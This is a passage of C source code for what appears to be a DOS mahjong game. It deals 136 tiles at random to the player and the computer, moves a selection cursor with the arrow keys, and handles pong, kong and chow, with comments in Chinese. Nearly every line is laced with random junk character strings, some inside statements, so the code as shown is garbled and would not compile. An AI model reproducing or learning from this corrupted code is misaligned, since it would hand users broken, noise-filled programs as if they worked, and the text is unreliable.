. N8 Y( i3 {/ X5 t1 N% Pif(m[temp].data2==0 && m[temp].data1==0)
& Z2 G9 J; g% @{1 r+ x7 S5 x, X- e% f
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
) O4 `9 I/ J! J4 Yme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
2 l& [/ Q- Q4 L0 K5 T+ O$ q1 x: R+ u' Yme.pp[n].number=temp; /*第几张，用来排序*/. p W. e1 U I+ F0 A+ {
m[temp].data2=1; /*判断牌是谁的*/ O* k1 H, T# b6 w" |. T( [5 P! H
kk=1;% P. p( b1 [+ y7 a. r
}
. s+ q( ?% Z5 F7 d5 v2 u! Zif(kk==0) /*判断如果又选择了，就从新再选*/
$ V7 S$ C- v) n$ f* r, {# ]{
9 \3 S7 A7 t! z jme.m++;, C4 X9 ?4 y& M* A
n--;' k* a7 u& E' W) _
}
# O" F4 r. u1 N! i0 ]" C2 }3 ame.m--;
8 ?& I4 [& e# x9 ~n++;
7 f2 Z2 y) C. {kk=0;
7 Z1 [" v, ]6 R/ K" H' D}. R0 [. k6 E. i# p: Z
me.m=12;+ L, s" m' {# f& j4 P. f
melipai(); /*理牌*/
/ W0 r9 X6 V9 ^, R0 ~
% J# T d7 |# w7 O& w2 v p0 rn=13;$ n% c% A! J9 U( ]8 z3 \& z8 U
while(l<n)6 r2 q7 q: D- L! B
{' \2 E$ V' F7 S0 d' ^! U5 Q
z=z+20;4 V; j0 S- u g
showbmp(l);( T% a# U' ?; [ B9 k+ D+ Y
l++;& y) e) d" r( i& }( A+ {5 l

1 {# `: i$ \, n}
5 O4 ?) {6 C' z7 h" yrandomize();7 v: h) S; T& Q; q$ I* G7 Q$ }
computer.m=oneorthirteen;. F( G6 \7 c) C1 I7 d% r0 z$ L1 }
n=0;( {5 F1 y, W" I" O; r& ^. d
while(computer.m>0) /*循环，给对方拿牌*/5 P6 H% g8 L: v. m. N2 I6 v- J
{
3 K7 j0 m- y' L2 L$ Wtemp=random(136);) n2 w( z. y) a+ m/ X+ u
if(m[temp].data2==0 && m[temp].data1==0)
- G4 {7 k" Q0 B" x0 s{
: @$ K/ a) q! ^computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
- b; V2 }: Y% A! Z ~6 p3 tcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
, v" m5 o9 h, acomputer.pp[n].number=temp; /*第几张，用来排序*/
2 F! H( a M$ v7 J" |: @m[temp].data2=2; /*判断牌是谁的，2为电脑*/
# D5 {& B0 d3 _7 T5 u% C5 K' Y; Rkk=1;/ T# ?$ ~* |, m$ l
}4 S6 ^' K6 g9 y2 @: D& S9 p( Y
if(kk==0) /*判断如果又选择了，就从新再选*/
9 A' w: H8 G+ @4 G! d{ - R2 v; p. ?, @
computer.m++;
8 h6 j+ w- { W/ @7 @+ R5 ^1 An--;( K$ ?4 G9 u: Q- f
}: \ W' O" u1 \
computer.m--;
5 B l- b4 [) b- q. h3 ?9 [n++;
4 y5 s. j/ L! ~8 M/ ~" i7 nkk=0;' |5 E2 P: }7 ~& ]4 c8 `* J; Y; Q: L6 l
}
1 N; K4 B" n( M0 C! l4 M P3 {2 Rcomputer.m=12;/ ]6 J0 ?; M) s. O7 [- f4 r
comlipai(); /*电脑理牌*/
$ Q8 S/ ?, |* {; @n=13;
8 @; B# N4 h- y/ m$ R& [while(ll<n)0 H: O) x% F) C" u1 c
{
, Z) f' K3 h! i. p# m6 M- czy=zy+20;/ ~4 q6 F A) K! O6 k
showybmp(ll);
2 `, U Z; ~/ }# s+ Dll++;
5 Y( N* _/ t# J}3 X! j. I v; B7 R

1 a, M6 E/ U3 [z=54400;* d9 c! ?0 S2 [8 K" [3 F
while(key!=ESC)" y: C3 }5 d" V7 a, ^
{ 8 q: \. R9 k" Z' G( v
, l, |, N) S& R( q: v5 ?) z
keyy=bioskey(0);9 x+ D* z6 ?7 T
if(keyy==LEFT)
; z, P( h" ^- s: m) W- c{ w=1;: \" j5 Y& { U. B( J/ G- U7 y
if(every==0)
( Y8 ^* D( Q9 G. L4 W{
, U C1 y( K+ R9 v: severy=1;% @. N# n5 q; Y) g
z=54440-5*320;3 b/ J( J' s; D0 ]; p$ |' I/ Y+ M

/ F- A2 i/ U1 F, n5 D% R5 s- ]- _}# m- _' I7 Z Y* N: g! R4 D H& i
zz=zz+5*320;! X( A6 ?0 _% J% Y, t) f* h y8 x# j) N
showbmp(every);' l9 G: p. j9 u9 o! W( l
if(every==0)
0 |& t* W; H" A9 v" @{$ H, \: L$ ?( i+ y
x1=20;) a4 H% a4 n" _1 o/ a4 f
y1=165;
. ~4 P& C% W( F) v. p* \) XfillRectangle(x1,y1,x1+20,y1+4,0);
5 s+ r+ Z5 w# q$ e. m2 F1 s# R}
" Y* G5 b) H* \if(every==1)$ {7 D7 I' Q' [! U7 n1 o6 d
{
% ]* k/ `- e3 k0 I" f2 Xx1=40;+ q4 O, J0 l5 b7 y* G) G% h$ S, @- G o% U
y1=165;" z6 N+ p: ^; G& r
fillRectangle(x1,y1,x1+20,y1+4,0);4 N1 i1 @( S. {4 a, }: K7 b$ r
}3 H; q" v+ g4 l: ?
if(every==2); w" V# L' _- \: Q
{. H/ A& Y* ?0 A1 B& b5 ]8 n
x1=60;. U% L, h0 j9 h9 ^
y1=165;& p9 V8 ], r2 t. d' b! ^6 Z6 S9 r+ J
fillRectangle(x1,y1,x1+20,y1+4,0);
! N. \4 s% [) g- k7 |* Y* j}
. j/ |* _* |$ C1 q# Tif(every==3)
 h; }8 F% j5 [( { ?# X. g, G{
) D4 X' ~& U8 gx1=80;1 w" C( r! d. N) {4 U2 n, B
y1=165;, w8 Y' d/ o) @' E' ~0 M! N
fillRectangle(x1,y1,x1+20,y1+4,0);
" ]1 D u# d1 S0 c1 A0 L! |}! _# d( z0 C# ? u
if(every==4)
8 n% e$ s- A+ r3 ~& h" H+ U% Q9 k{
; `1 _% |7 d" s px1=100;
( G0 o/ `$ n' g @0 y9 ey1=165;7 k: }* S, k7 H! }* x& h, o
fillRectangle(x1,y1,x1+20,y1+4,0);
& r* {% ~$ }1 M3 R" {}( ~, i! z' B# K
if(every==5)
& A! Q, x# X/ t; S8 _{ I ^- W: T& j$ W( `
x1=120;# b! A! |; x% u% R# j9 x
y1=165;
; H- [! v% i- u% W3 |& f/ mfillRectangle(x1,y1,x1+20,y1+4,0);' E6 D4 C" a; Q) I
}; O4 M+ z; E$ C
if(every==6)
- [3 v2 s3 ]3 H! ?{
+ a2 `5 y$ j7 N8 |: Gx1=140;: p$ H( Y2 W4 W: M( x: y2 p( }! K
y1=165;( h: ]5 T5 y, |5 M& z4 k/ d9 t
fillRectangle(x1,y1,x1+20,y1+4,0);/ W7 d0 E$ w4 W+ z" K$ }
}
# C% F ?& ^- c/ wif(every==7)
% l3 x7 V6 l# ^" r& c- S' R{
* |- t- j/ q5 W2 e: g2 h1 ox1=160;
) Y- V3 s, V4 v3 u9 yy1=165;
6 e) a8 g, |; RfillRectangle(x1,y1,x1+20,y1+4,0);
: U: m0 f' m( M1 |2 X( m}% M8 r' ?. {7 d" B- Z l9 q
if(every==8)- A: w; @# u( F$ K3 d3 S2 A
{# S9 K4 `# }* K8 t/ p; U- y# m! S
x1=180;. u# W, r: ~* T j- O& ?! `) z
y1=165;& q: b7 o. f9 x, w$ C
fillRectangle(x1,y1,x1+20,y1+4,0);
- @) e; W1 t3 b3 t}/ g# N. ]: q. I% s1 Z U
if(every==9)$ z: F$ ~" T8 E
{
4 @+ `! H5 ~# d' n* t- E7 ix1=200;3 |9 c; S0 W6 P; A! B$ {" u
y1=165;$ E4 I0 T$ j; ?, H& g
fillRectangle(x1,y1,x1+20,y1+4,0);
8 m( E" ~3 h! ?}
* ]! i5 x/ H3 P+ jif(every==10)2 _2 ?& F& B+ |. ~
{ e9 B4 e' e9 W! a+ {
x1=220;" T" T* X5 [* i: q/ D% }+ v! ^
y1=165;) g7 t1 Y/ m) X# s3 |; S
fillRectangle(x1,y1,x1+20,y1+4,0);, I# n# ~ |* g8 D. d; Z$ {: _
}5 Y4 B l9 u4 R: J* s
if(every==11) d6 N6 w5 B. ]& [0 V
{2 J% j9 b# p: R6 R' q3 G ^ D
x1=240;
7 Y% t ]9 h( O. q8 y ly1=165;6 Z3 g f) _4 y$ `! {
fillRectangle(x1,y1,x1+20,y1+4,0);$ z: P- }. S! z% M% D( S- V+ [, A! b
}
$ Q, \2 b1 m9 w( e5 j, N3 ^; Lif(every==12)8 J1 C) W. @+ j& b) D d
{
" v& s, Z& G, F5 ~x1=260;- e! j; T7 ~5 b) m8 w8 P7 }! U! _
y1=165;. v s7 M2 N' ]) C
fillRectangle(x1,y1,x1+20,y1+4,0);
* w. I6 i' t* p7 U# Q/ P1 t}
6 i7 B3 e# A3 e* X2 G3 w3 K7 \7 _zz=0;0 @, f4 J, W m: ^
every--;( r d0 L& ?8 l7 b/ P5 A1 [8 A3 t4 q
z=z-20;+ v( N2 x. y% [& ]: k2 i$ o0 c
}9 W. D% E/ a8 b4 U/ W
if(keyy==RIGHT). N% P7 q5 h' L9 B7 R
{ if(w==0)9 w2 ]- n0 `' b% |; X, r: }
{
6 n' i+ r* o5 L( N. g4 @/ nz=54440-5*320;
; a, l0 c1 l. [; ]z=z-20;
& |" N, O4 I6 P/ b3 L6 k" ^w=1;, I" e7 Z; x) R4 K2 u; y* E1 A
}, s; n+ \6 A/ t( H' E
if(every==12) 9 J2 U X8 ?5 W d: z/ K' g p
{) K* p( n; S" |$ O9 _: o4 N
every=11;- Y: d1 J, ]( N; M9 \4 y
z=54640-5*320;
, O3 E* `& H. w$ K}% P, D) P5 u; I8 R9 s( s1 [
zz=zz+5*320;
4 `4 ^! z- Y6 d4 q+ m; J: t6 ]/ Wshowbmp(every);
8 k- q0 Q' t1 u$ `; y- p3 m7 b) |# Wif(every==0)2 R9 ]/ e0 i8 t: S7 i* F. A& B
{: m" G' h0 j4 B, B2 S7 u
x1=20;5 }$ T5 Q) @/ l2 x- e; u
y1=165;9 S9 i$ k, @" G' C
fillRectangle(x1,y1,x1+20,y1+4,0);
4 |. u4 n7 g7 i1 I6 E, i/ L}
# S: ]1 _* D: P- ]- H- u8 N, D$ ^if(every==1)
% N6 F2 k4 X( D* o, V{( E0 G" P! V9 N, ^* n3 L
x1=40;2 T. {1 D% g! O0 v
y1=165;
8 W* A/ n8 ?2 P9 V5 [fillRectangle(x1,y1,x1+20,y1+4,0);3 M8 W8 v" i* S" O5 u* b5 l
}( U+ t4 f9 R+ o g6 {. C9 e5 k
if(every==2)
$ p! U6 r' h- }2 r: x7 I{
2 o0 T. P( s4 [6 m! X3 Ox1=60;
3 J- _/ j* ^6 ^& D Q5 ?: fy1=165;
" L- N( K7 l$ @6 ~; NfillRectangle(x1,y1,x1+20,y1+4,0);
& D/ `) J; e# m# X9 Z' z}& g* G4 X; B+ S; H4 \# v! H
if(every==3)" e" @" z1 {: h4 P/ u& c$ U
{- f0 Z" i3 N! k3 V% p8 g% j0 v+ S% D6 J
x1=80;2 I+ r e& R3 e
y1=165;! ?5 a6 w; ?1 V) [5 Z2 [
fillRectangle(x1,y1,x1+20,y1+4,0);3 {8 e+ n7 Y: x: O1 w
}* V. i9 m7 a- k1 {/ u: I
if(every==4)
9 k0 ~: m; F; R( l! m: T: U G6 b{
% }! B+ I# r! r* e# e" j' ?& tx1=100;/ x9 \" c1 h/ d+ e4 I
y1=165;
1 c$ q+ H' u+ A/ bfillRectangle(x1,y1,x1+20,y1+4,0);9 l4 [7 r) `3 H* F
}
2 Q9 A+ H; y; C: D1 iif(every==5)
3 ]/ \1 W$ {* j+ E* I- W! l F{
9 {2 X. J% I2 d, w0 k' E2 Dx1=120;& b& F) ?5 @) C9 A, C! u9 z: B" r& j
y1=165;8 ]: x' i8 ~7 N/ H
fillRectangle(x1,y1,x1+20,y1+4,0);3 n d+ Z/ J6 s' r
}" N3 N5 @$ x/ g& i/ i% W1 P7 Y6 y
if(every==6)4 U- K4 e7 N8 [2 b' n! ]/ p
{
( k$ T5 j; I6 C! _x1=140;& P6 X. U8 Q2 G
y1=165;3 M. T- {( g4 z
fillRectangle(x1,y1,x1+20,y1+4,0);' U. M) \5 {/ z. W! v2 q
}( n. M0 Z2 i+ _2 ^! c- \: P! u- k
if(every==7)+ p9 w& F5 N' H: g1 `
{
 W; D) \4 Y1 x1 W' W7 F, xx1=160;# P. x! w: Z( _# P
y1=165;, D& a3 ]; B8 K1 w3 x7 [! v
fillRectangle(x1,y1,x1+20,y1+4,0);) |+ D7 x% ^# C, g& e* K1 q
}
! P* g6 h2 I7 |# aif(every==8)& V2 t/ Y+ \; R
{
8 K* D) \; t y! tx1=180;
% B6 k2 N$ q$ ^; a" a; \9 e- yy1=165;& U' Y" }4 H" V5 I( _. ^
fillRectangle(x1,y1,x1+20,y1+4,0);
7 E* n d8 c" _}
3 S& g' y' b, A- P" Iif(every==9)
+ I1 m8 \6 m; d0 K' o- m$ l{ \! q$ k) H. O0 Z" p7 x8 g
x1=200;$ } f; i1 }, \) ]% ^, ~6 {" L1 {
y1=165;
* c J5 Q6 |0 v2 i1 a r; IfillRectangle(x1,y1,x1+20,y1+4,0);
2 h& I9 a3 p1 d1 _3 b, z; G2 }: p8 Q}: J( e# q2 l) Z& _; H9 n
if(every==10)- N' T- S( ]' k) T8 z, Y: ~
{
# u( ^% ]' E4 l. y( Hx1=220;! E0 C! M, d t& Q
y1=165;5 v5 `9 V9 `1 W6 J8 t, `! G
fillRectangle(x1,y1,x1+20,y1+4,0);
& R- W( S3 Q$ x% x0 C$ O, D, i}, G$ D7 ~0 c% J7 v! C
if(every==11)- a5 [6 ~$ _7 t6 @' R% S
{
8 R0 I4 Q8 q# ^' b G$ B0 z9 Nx1=240;
 b5 D# X3 T, {) k4 ^y1=165;3 ^* x; ^9 k# Q# x1 h; }; ]' q
fillRectangle(x1,y1,x1+20,y1+4,0);
2 l; k/ K# V* _}
; C4 b5 K( n& K8 Nif(every==12)9 p1 G1 {# [# |& h
{
: }) g* ]7 Z" g3 c2 z4 Tx1=260;: I4 i/ t, l$ r( N4 ?: t- q9 N
y1=165;0 j. n* K: |4 w+ x$ ]
fillRectangle(x1,y1,x1+20,y1+4,0);
4 b, ] s3 k, ]- ?( h- T}8 d) I: j% D# ]) ]& k" _6 y
) j; _) l: P# t$ y0 d
zz=0;0 _# r& V- G' H0 G, C1 S
every++;
; y! {) @9 m7 O; Nz=z+20;
1 h4 K* g5 F7 ~}
. f9 Z. b" {6 mshowbmp(every);) t4 N& o/ \! f; W; h
key=keyy;& s5 i, v P% g0 g
if(keyy==ENTER)
/ ]7 R7 I+ w) [9 Y# b! z% ^{9 C4 h5 ^. N' u% F+ X! H
rgzn(every); /*********************/1 @& b& w& i2 N( k; |
if(sing==1) /*如果可以乓，做相应的处理*/
+ e$ b' o6 X; A& S" C, v+ _9 A* R0 Q{
/ w0 N( ~: J, U( f$ ~kkk=0;
% l6 B4 Z+ V! k+ Q* [/ skkkk=0;
/ b, ~+ h0 W3 D- Rwhile(kkk<=computer.m)
, x5 m: Q) \# v0 ^{
: |8 H" c6 b& t ]% k3 j) v3 Y' Eif(computer.pp[kkk].p!=1)% S) c2 l, Y* N5 r& P4 V# R
{4 T+ ?8 r1 R5 G2 c6 [0 w* w. q- K7 A# a
comp.pp[kkkk].k=computer.pp[kkk].k;
1 Y$ O2 ^3 n6 ?, Wcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;. A& y9 }, ? A1 N* }, A0 W+ t
comp.pp[kkkk].number=computer.pp[kkk].number;
& b1 m4 X/ U8 a% h/ i6 rkkkk++;
" i B7 \: P5 G1 w}; F" F+ h3 i0 N* Q/ t. { Z3 T, D" H6 T
else
6 Z4 ^6 s+ G; `{: c8 `/ M S& @1 h
m[computer.pp[kkk].number].data1=1;
% h5 ?3 [3 P8 x7 g7 h# }# n- Idwei=computer.pp[kkk].number;
, B9 u1 H' X) q* ]+ Qcomputer.pp[kkk].p=0;( N$ T6 ?. S2 l; }$ V/ F; H
}& |' p L: D9 t. ^ n
kkk++;* ]3 ]- M, d. N. [: X5 Y
}
. Q/ V3 d1 W/ z8 c' fll=0;
& V% [8 E1 `0 w( d9 q% m$ j
 W, _: D; Y7 Pwhile(ll<3)
8 k3 W3 Z0 ?8 D6 q/ r4 j{ zl=zl+20;
# v* e* e5 i6 I4 rbmpp(dwei); /*显示乓的牌*/+ T" F1 j4 t" z4 s8 D
ll++;
) @8 X3 V. D6 D" H/ p! D}
! R$ ]7 }. T8 g) F3 J, C
3 [7 x+ ~% [8 dzl=zl+9600-60;
0 R4 ~ H/ S- |kkk=0;4 s2 k- ~$ ] F9 y4 H
computer.m=computer.m-2;+ I% _6 m5 B3 i9 `" A
while(kkk<=computer.m)
; J6 u6 S8 M# y2 B{/ I5 d9 U, A. y: q4 n4 Y
computer.pp[kkk].k=comp.pp[kkk].k;
% M3 ?" r5 h* ]computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 E. O1 P* ~6 ~3 P0 Dcomputer.pp[kkk].number=comp.pp[kkk].number;
3 g0 |5 \9 s$ K' p7 I5 g: Qkkk++;4 L$ d: f# s& ]% o
}
6 _! A1 H- S0 ]ll=0;
; F4 ]/ G, r+ D' K+ J# g) qtemp=random(computer.m); /*出牌等待完善*/
: T) ?+ \7 [! n& S% C/ Hzyy=zyy+9280+20;/ T2 C/ j' B# k6 \$ ^- |: u, Y
showcbmp(temp);1 v G7 S! K* w1 v! \) v
zyy=zyy-9280;
6 v. [$ L6 W6 x3 _4 C: _% E5 q/*****/
, y# f1 P: R/ A/ I3 vrgznme(temp); " u7 K4 y5 ^) J' H/ T/ J
panduan();
: J% c; s8 \, ~% Jif(me.m==0)/ R+ g- F# e% w) l# k2 }+ B
if(second==1 && threes==0)3 p% l2 Y& `' U8 f* _3 U
printf("you win!");" i7 l X/ ^& e
if(me.m==3)
8 r$ b6 a) m+ n$ k7 [if(second==1 && threes==1)5 E$ R1 q+ d# n$ U7 V# \+ i
printf("you win!");
# r& M, ~5 o9 S( _& _/ a; dif(me.m==6)' j+ v% [( n$ U# J9 F% O
if(second==1 && threes==2)
' t( i0 f' |; o- ^8 L @+ Eprintf("you win!");
6 O5 |1 s0 A, D, y, a! `: j8 h* }if(me.m==9). Y- w) x4 I8 X8 d
if(second==1 && threes==3), [6 d3 f# Q. G- n! {
printf("you win!");
) _0 d0 H9 F) A( c4 e; {! Bif(me.m==12)- V3 D S( ?- L) ^! C, C: B1 _' ?
if(second==1 && threes==4)
& ~ J' k8 }2 ?2 [8 Dprintf("you win!");
3 m8 E+ n- J5 e/ o! r
# I, c% h9 V% O9 [' }kkk=0;8 C$ t @1 M' m4 [9 D
kkkk=0;$ f2 [. O6 m7 Q
while(kkk<=computer.m): t7 l/ i4 g7 n; v! c
{" ~7 A" a1 M; y
if(kkk!=temp)
! I% v3 G V L) s( {" W9 m% ]0 Z{ i1 o4 k" X4 R" |8 [
comp.pp[kkkk].k=computer.pp[kkk].k;
: S3 x/ w( ]( y8 ]comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
+ A/ h* k e! _" \5 _6 Q4 tcomp.pp[kkkk].number=computer.pp[kkk].number;
" p( m6 ^4 V! O+ n5 o2 @% Okkkk++;9 |# w- W/ Q) v% l9 ?$ P) p, u* g5 O
}+ ^/ V- ^2 n3 y( V6 b6 E
else
: h n+ M1 O1 G& b# c, _ lm[computer.pp[kkk].number].data1=1;
3 ?: p$ l8 o4 t0 p9 ?3 E* V; wkkk++;
. K* @! B) y; C) H}
2 [$ @4 F/ U& b2 a) }, P* F" n/ Vkkk=0;
' i! K0 P, W3 M4 z$ zcomputer.m=computer.m-1;, K: n5 b F, A% s0 ^8 q! I. H- i7 q
while(kkk<=computer.m)
5 J1 L! F/ @ K{
 V$ q5 @8 B' @, k/ ]% Acomputer.pp[kkk].k=comp.pp[kkk].k;" G4 v: e. s- R' ~# m
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
: l- x0 b( b' q2 y- Lcomputer.pp[kkk].number=comp.pp[kkk].number;
4 \6 M' E1 a) O B% _/ s2 U) l) pkkk++;
4 A2 a7 s9 o A1 ]) ^5 X" _9 q}
% ^+ C+ M% H- j, M7 {5 ?/ ?fillRectangle(0,0,320,30,0);
, w' Y3 q; s, l7 m9 Q( }4 Nn=computer.m;0 u8 u0 w0 ]% j5 o
ll=0;
3 o! n y+ y F+ ezy=0;
9 D( {! q4 |. I" `5 e* G( iwhile(ll<=n)
" R6 q; T) n- c. P% e/ J{
zy=zy+20;3 C5 [0 X. z/ B+ S6 g- j
showybmp(ll);) N* O0 `/ Z; f- {
ll++;
; W- N& Z, O2 R! j1 U8 r# e}
0 V1 \, i# b" m" p& \% e3 fll=0;
3 u& F4 V4 G R) {/ c+ ugetch(); k. s5 h% l: A- U' T
sing=0;" i* y: j3 ^# }' J, {6 d
sing1=1;0 t3 H8 Q, [) M5 Y8 k
}) i* ]( N0 ~" q) a
6 U4 |6 ~* I2 ~/ _! U( N
if(sing==2) /*如果可以杠的做相应处理*/5 Y3 c4 ^( v2 j7 D2 t& V, J: ?) y0 \
{
, W+ R1 U0 S/ ^1 }kkk=0;
# G* i. { T) B H- R% Gkkkk=0;( I: a) Y; v( T. a. R$ g4 ] W
while(kkk<=computer.m)
( [3 w) Y8 {5 c% N# e) H{
9 H1 b' p! R ~8 |/ C( f$ Kif(computer.pp[kkk].g!=1)* F9 |: W2 L9 d$ F; X% H
{- ~+ ~1 N# o! `( k6 A1 h
comp.pp[kkkk].k=computer.pp[kkk].k;
* K. F4 @) f kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
: v( m) w5 ?( X: X5 o9 T4 {0 G4 Gcomp.pp[kkkk].number=computer.pp[kkk].number;) W( D& @1 K6 u( c3 y
kkkk++;
# b x+ w9 B* I5 {$ W1 z1 ~, L}
2 L5 m( [8 _5 g, d2 Helse' ^, p5 z( q/ E; Y9 B: Q i
{
6 A% h: u6 c# \m[computer.pp[kkk].number].data1=1;
% F9 O% X# y ~' E6 C8 t' Jdweig=computer.pp[kkk].number;
8 m3 U# V7 L$ Y8 o; P. ucomputer.pp[kkk].g=0;6 Y9 p; B( L8 h( W1 i V
}+ T/ ?9 W9 \5 M* I% `
kkk++;
# h9 u) \9 S% `, d}2 J' b$ R: c8 |, B8 l
ll=0;
# ?" t' e" e' p& Y3 c4 Y# Q' P& B5 X+ J" q( o" q& Q3 K7 ]( J8 t# |* l
while(ll<=3)' d8 `' ?; e* T+ t; |6 Z
{ zl=zl+20;4 F) H5 Z; }& a4 j( S* d$ Z! h7 k1 j
bmpp(dweig); /*显示杠的牌*/
. \3 v6 L+ V4 j" S3 u7 a$ nll++;
$ X' d! R3 X, H}
2 u# a, F: o$ b! Y1 e) Nzl=zl+9600-60;0 u$ Q* L+ D2 M- V6 K0 ?
kkk=0;
 L1 j. m; r+ _' F' e( v4 M+ J& o" wcomputer.m=computer.m-3;- c9 e% _2 m; C$ C. X; W
while(kkk<=computer.m)3 R- V. b' p; |0 a
{" Q2 m& Z# j/ r; u& A6 s4 x2 t; h
computer.pp[kkk].k=comp.pp[kkk].k;! B5 V- F. O$ z1 \. h
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;/ W- Q" ~' z, _3 e) P) k7 G
computer.pp[kkk].number=comp.pp[kkk].number;
1 o" ~# _; m/ f* r! skkk++;; S6 R( h8 x0 g
}2 c: T: e/ O, J
kk=0;
" E4 h4 X3 K) J3 [$ l. x# s7 w) Ucomputer.m++; /*加一个牌的容量*/
 L$ D& ] H3 G6 a: z7 Qwhile(kk!=1)
! ]3 g7 n, Z1 n3 \{
5 o9 r4 _7 t: ttemp=random(136); /*出牌*/9 `" D; K2 Z# |) }7 }( G1 Z
if(m[temp].data2==0 && m[temp].data1==0), P% a, |3 Z7 {8 p6 p7 u& b
{
, Y) D6 m! K9 X" C8 q; ccomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
$ V7 q5 _( P/ I0 e& i9 ?4 i: S* N% \1 Wcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/ w: m/ i; h9 a- R+ p3 |
computer.pp[computer.m].number=temp; /*第几张，用来排序*/
, U0 g% ]: N+ w7 X& S% n/ Tm[temp].data2=2; /*判断牌是谁的，2为电脑*/* s; H( D* C7 {# \% `
kk=1;
$ Y2 g7 j0 D; i}
6 W( Y7 r" ^0 f! t}
; ~3 H( \4 J3 k# kcomlipai();1 q! H, ^9 l6 Y5 O& P: w& {1 R$ w, L
temp=random(computer.m); /*出牌，等待完善*/. x, X- k$ V7 u) j: u& i
zyy=zyy+9280+20;; a; Q% Z4 e2 n" g
showcbmp(temp);
: j2 R: a$ d- x$ t$ q6 ]% y7 m% I& w+ lzyy=zyy-9280;* R$ m8 d9 M3 \2 ]5 h" N, z* T
/*****/
$ a7 U4 Y' E: c5 o( F; A+ p8 ?rgznme(temp);
9 z- x6 Y0 i' O' ~ @panduan();
; T) G) j" J! S+ dif(me.m==0)
7 c n. i, G( W; n) i% R$ w5 H2 R3 [if(second==1 && threes==0)
% n4 K o0 g7 v- F! E+ Oprintf("you win!");+ g* t" P- b/ ?2 u: T* [
if(me.m==3)
) V4 [1 Q9 ?6 n: ]4 }if(second==1 && threes==1): ~2 S, o q" E
printf("you win!");2 O( X( W$ \1 O4 }% j
if(me.m==6)* X" o4 ?0 G8 c: a2 G9 x4 f
if(second==1 && threes==2)
7 g0 U" h: W/ w g/ a6 u' mprintf("you win!");
; P$ F! ~0 F z" _* V2 O1 q+ i zif(me.m==9)4 h& V4 l$ j8 t# w6 \7 {
if(second==1 && threes==3)* e6 l. ^* q1 J! }( \) |
printf("you win!");3 c$ V( W0 c7 Q! w+ S
if(me.m==12)5 S( q/ W. r4 F" o: |. T6 O
if(second==1 && threes==4) G; F, `5 i/ D: v2 X: h
printf("you win!");$ \) y9 d5 I- v: _$ B

" p; i7 h7 k3 X3 j3 Q% ?( Tkkk=0;
( D1 v: l* E& T/ ]kkkk=0;
. V/ s/ r$ H+ a _ }9 k) iwhile(kkk<=computer.m) /*把未选的牌放到零时变量*/- G# S) l7 K p4 O/ h
{
+ q# p; T+ I5 G- z, C2 O" {$ b" r3 Qif(kkk!=temp)
# c% c' l+ F2 `. a- U* ^, @* ?{7 ?# @7 w! H( X7 g
comp.pp[kkkk].k=computer.pp[kkk].k;
( a9 x% @4 Q0 f0 }, mcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
; c# q% W" [5 c) F9 i2 a$ {' Icomp.pp[kkkk].number=computer.pp[kkk].number;
) J9 S1 v, m9 g7 C4 @# [kkkk++;
1 ~( H) X1 S+ ~}6 p, C- k5 ^/ p' G" J
else
$ @- ]# V9 r. e* {m[computer.pp[kkk].number].data1=1;) g S7 u& z; p1 h* \. E# a, $ s
kkk++;
6 o( W. N. N- Z7 _# A}7 B6 ~5 L5 q9 t$ I* T
kkk=0;
; ^" \2 \* O( T u0 ], u' |+ Gcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/8 m6 Z5 {; K: e3 w# |4 P
while(kkk<=computer.m)
# \5 c: M$ N% G' l+ ^{# ]2 `& X9 {' c, p' M" Q
computer.pp[kkk].k=comp.pp[kkk].k;
/ v# U# C0 q- o2 ccomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
) g1 T) E) j1 g8 dcomputer.pp[kkk].number=comp.pp[kkk].number;
, E7 t7 j/ U. E7 tkkk++;* _. [) T; s3 ^) g6 q# J2 P( H" {
}$ o/ S# q- X# y% f8 e6 s
fillRectangle(0,0,320,30,0);
0 \+ g$ F! e& O9 | z% {: Vll=0;: {5 m. D* y- J# z0 \
zy=0;
- M) n0 W l0 [while(ll<=computer.m)
( R9 V/ X+ ~9 ~" W) Z' y{
) b8 h9 f5 D, E, g/ k" H0 W: Vzy=zy+20;
1 Q1 `3 ?( `% m; u( fshowybmp(ll);
2 [1 z5 Y }1 c4 $ s, W8 cll++;+ x2 Q; t5 E: E" X
}5 x- e9 w( U* z( I) Z1 i
sing=0;
2 @/ M, U( X# B: r4 R# N' [/ esing1=1;
& C3 I* [( i$ \4 g. m$ B+ P% z}3 b2 b$ O' H+ b$ L& N& A1 B" B+ I
if(sing==7) /*如果可以吃的，做相应处理*/! _! @" [8 W* c4 y
{ nn=0;; W# ^1 |" o" ^, D' K. ]; l
kkk=0;
- \; R; ^# p5 Y5 |5 W# A5 Ykkkk=0;
3 a) g) n2 G6 N2 twhile(kkk<=computer.m)% A) L, l% \; R* A4 h) m
{2 l4 a, j" `" r
if(computer.pp[kkk].c!=1)6 G& z: e" }" }& l: c2 s& U
{9 i. ]- b& {& X" Q7 g; `) Z) I3 h; K
comp.pp[kkkk].k=computer.pp[kkk].k;$ `; g# B6 v) X3 D1 W
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, g/ Z$ Y. n* {4 u, e0 ~
comp.pp[kkkk].number=computer.pp[kkk].number;, I8 r9 k1 a* J& a
kkkk++;
" }8 t9 p% }& Z5 O- ^}
1 n% f2 U: X5 ^. L. p7 celse- `: ]! ?1 k4 P
{
' L, a9 }5 C/ J& U9 \, _/ ?m[computer.pp[kkk].number].data1=1;
: L8 ~" ~7 n* ~ k. H Idw[nn++]=computer.pp[kkk].number;
6 P2 A# C& y/ H' e! P' x) z9 Bcomputer.pp[kkk].c=0;/ d. i6 d1 L- f. @
}& Y' {) a: j; l# {: f
kkk++;
" X, m; z( y0 i% M% ~ R& H}
- ^# L8 x7 p) g! E+ W8 @. q: v5 u* W
